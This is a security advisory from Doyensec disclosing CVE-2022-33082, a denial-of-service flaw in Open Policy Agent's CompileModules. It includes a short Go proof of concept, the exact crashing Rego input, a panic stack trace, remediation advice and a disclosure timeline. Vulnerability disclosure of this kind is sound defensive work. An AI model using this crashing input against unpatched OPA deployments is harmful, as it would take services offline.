Security Advisory

Open Policy Agent

Denial Of Service Via Incorrect Interface Conversion CompileModules

Created by Norbert Szetei
07/12/2022

Overview

This document summarizes the results of a vulnerability research activity aimed at discovering vulnerabilities in the Open Policy Agent. While security testing was not meant to be comprehensive in terms of attack and code coverage, we have identified a vulnerability that could lead to the possible crash of the library.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

Denial Of Service Via Incorrect Interface Conversion CompileModules	
Vendor	Open Policy Agent
Severity	Medium
Vulnerability Class	Denial Of Service
Component	https://github.com/open-policy-agent/opa/blob/598176de326025451025225aca53e85708d5f1db/ast/compile.go#L1224
Status	Closed
CVE	CVE-2022-33082
Credits	Norbert Szetei

Summary

The Open Policy Agent (OPA) engine implements a parsing routine and compiler for various expressions. During an assessment for one of our clients, we identified a malicious input that could crash the process by triggering a runtime error during the compilation process. Note that the expression that triggers the crash is correctly processed by the AST parser. The panic is initially recovered, then the application manually triggers the panic again, causing a crash.

The issue was discovered using go-fuzz.

Technical Description

Use the following commands to trigger the vulnerability:

```
$ echo 'package main

import (
        "github.com/open-policy-agent/opa/ast"
        "os"
)

func main() {

  str := os.Args[1]
```

```
  _, _, err := ast.ParseStatements("", str)
  if err == nil {
    ast.CompileModules(map[string]string{"": str})
  }

}' > poc.go

$ go run ./poc.go "package test abc{{[input()]|[input]:={}}}"
panic: interface conversion: ast.Value is ast.Var, not ast.Ref
[recovered]
     panic: interface conversion: ast.Value is ast.Var, not
ast.Ref

goroutine 1 [running]:
github.com/open-policy-agent/opa/ast.(*Compiler).compile.func1()
     /home/tbnz/.go/src/github.com/open-policy-agent/opa/ast/
compile.go:1224 +0x49
panic({0x7f7dc0, 0xc0001a0b70})
     /usr/local/go/src/runtime/panic.go:1038 +0x215
github.com/open-policy-agent/opa/ast.(*Expr).Operator(...)
     /home/tbnz/.go/src/github.com/open-policy-agent/opa/ast/
policy.go:1162
github.com/open-policy-agent/opa/
ast.checkUndefinedFuncs.func1(0xc0001a4200)
     /home/tbnz/.go/src/github.com/open-policy-agent/opa/ast/
compile.go:871 +0x688
github.com/open-policy-agent/opa/ast.WalkExprs.func1({0x8456c0,
0xc0001a4200})
     /home/tbnz/.go/src/github.com/open-policy-agent/opa/ast/
visit.go:213 +0x36
```

The vulnerability was introduced in the commit with identifier 7a07d1cfda090be715d5bb64b9c6a64a4a567011. It affects all versions from v0.10.2 (Dec 2018).

Remediation

Ensure that no previously parsed malformed input can trigger a runtime panic during the compilation phase. The issue has been resolved in v0.42.0. See also https://github.com/open-policy-agent/opa/pull/4701.

Disclosure Timeline

04/11/2022	Issue is identified and reported to the vendor
07/04/2022	v0.42.0 released, containing the fix
05/17/2022	CVE assigned
07/12/2022	Advisory released after embargo expired